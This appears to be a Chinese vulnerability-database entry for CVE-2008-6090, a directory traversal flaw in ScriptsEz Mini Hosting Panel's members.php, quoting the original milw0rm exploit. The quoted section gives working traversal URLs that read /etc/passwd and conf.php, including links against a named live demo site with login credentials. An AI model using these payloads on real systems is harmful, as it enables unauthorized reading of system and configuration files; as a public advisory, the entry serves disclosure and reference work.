Scriptsez Mini Hosting Panel 'members.php' 本地文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116370 漏洞类型 路径遍历
发布时间 2008-10-09 更新时间 2009-02-20
CVE编号 CVE-2008-6090 CNNVD-ID CNNVD-200902-136
漏洞平台 PHP CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/6713
https://www.securityfocus.com/bid/31701
https://cxsecurity.com/issue/WLB-2009020141
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-136
|漏洞详情
MiniHostingPanel是ScriptsEz开发的虚拟主机管理工具。MiniHostingPanel中的members.php存在目录遍历漏洞。远程攻击者可以借助查看操作中的dir参数中的".."(参数中包含'..'),读取任意的本地文件。
|漏洞EXP
# ScriptsEz Mini Hosting Panel (members.php) Local File Inclusion Vulnerability
# url: http://www.scriptsez.net/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: members.php

PoC:             /members.php?act=view&p=[FILE]&dir=[DIR]
Exploits: 
/etc/passwd/ --> /members.php?act=view&p=passwd&dir=../../../../../../../../../../../../etc/
conf.php     --> /members.php?act=view&p=conf.php&dir=/test/../../..

live demo:
http://hosting.cgixp.apkafuture.com/index.php?action=login
demo:demo (user login)

http://hosting.cgixp.apkafuture.com/members.php?act=view&p=passwd&dir=../../../../../../../../../../../../etc/
http://hosting.cgixp.apkafuture.com/members.php?act=view&p=conf.php&dir=/test/../../..

Ingenious work :D

# milw0rm.com [2008-10-09]
|受影响的产品
ScriptsEZ.net Mini Hosting Panel 0
|参考资料

来源:XF
名称:mhp-members-file-include(45800)
链接:http://xforce.iss.net/xforce/xfdb/45800
来源:BID
名称:31701
链接:http://www.securityfocus.com/bid/31701
来源:MILW0RM
名称:6713
链接:http://www.milw0rm.com/exploits/6713
来源:SECUNIA
名称:32212
链接:http://secunia.com/advisories/32212